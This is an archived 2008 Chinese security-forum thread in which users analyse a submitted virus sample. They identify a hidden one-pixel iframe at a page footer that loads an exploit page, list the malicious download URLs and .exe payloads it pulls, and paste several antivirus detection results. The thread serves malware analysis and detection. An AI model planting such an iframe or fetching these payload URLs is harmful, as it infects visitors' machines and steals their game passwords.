懂代码的讲解下

显示全部楼层 · 发表于 2008-8-15 14:02:44

周同学找的代码
红伞说是下载者
看了下代码没什么发现
懂代码的给讲下

显示全部楼层 · 发表于 2008-8-15 14:06:25

页尾一个iframe指向的页面利用漏洞下载回来一个小马

<iframe height=1 width=1 src=http://222.hao5003.cn/fengzheng.htm></iframe>

复制代码

>>
http://xxx.77se77.com/mas1.css

+2 mas.css下载的
http://www.5640ghib.com/max.exe (404)
http://www.qljgsfb9601.com/max1.exe

显示全部楼层 · 发表于 2008-8-15 14:24:21

费尔 TrojanDownloader.Nurech.bd.bmqk

显示全部楼层 · 发表于 2008-8-15 14:30:38

hXXp://222.213asdas.com/real.js
hXXp://222.213asdas.com/ms06014.js
hXtp://121.213asdas.com/images/mfsy.jpg
hXtp://121.213asdas.com/js/config.js
hXXp://121.213asdas.com/js/alarm.js
213asdas的火狐全部阻止了，懒得下载了

[ 本帖最后由 lx1234 于 2008-8-15 14:35 编辑 ]

显示全部楼层 · 发表于 2008-8-15 14:36:26

AntiVir TR/Downloader.Gen
AVG Generic11.FZX

显示全部楼层 · 发表于 2008-8-15 15:11:31

微点拦截

显示全部楼层 · 发表于 2008-8-15 20:31:24

McAfee报了2个。。

max1.exe PWS-Mmorpg.gen
mas1.css Downloader.gen.a

显示全部楼层 · 发表于 2008-8-15 20:33:41

[Scanning : C:\Download Files]

C:\Download Files\aaa.rar<RAR>:max1.exe<UPack>:max1.exe <- Heur.RoundKick : No action

Scanned objects : 5

Infected objects : 1

显示全部楼层 · 发表于 2008-8-15 20:34:22

显示全部楼层 · 发表于 2008-8-15 20:34:59

[发现可能安全风险：] <W32/Heuristic-210!Eldorado (损坏, not disinfectable)> C:\Download Files\aaa.rar->mas1.css->(UPack)
[发现安全风险： ] <W32/Agent.L.gen!Eldorado (not disinfectable, 普通)> C:\Download Files\aaa.rar->max1.exe->(UPack)

[病毒样本] 懂代码的讲解下

回复 2楼 qianwenxiang 的帖子

回复 2楼 qianwenxiang 的帖子

ArcaVir2008

Norman Virus Control 5.99

F-Prot 4.4.4

浏览过的版块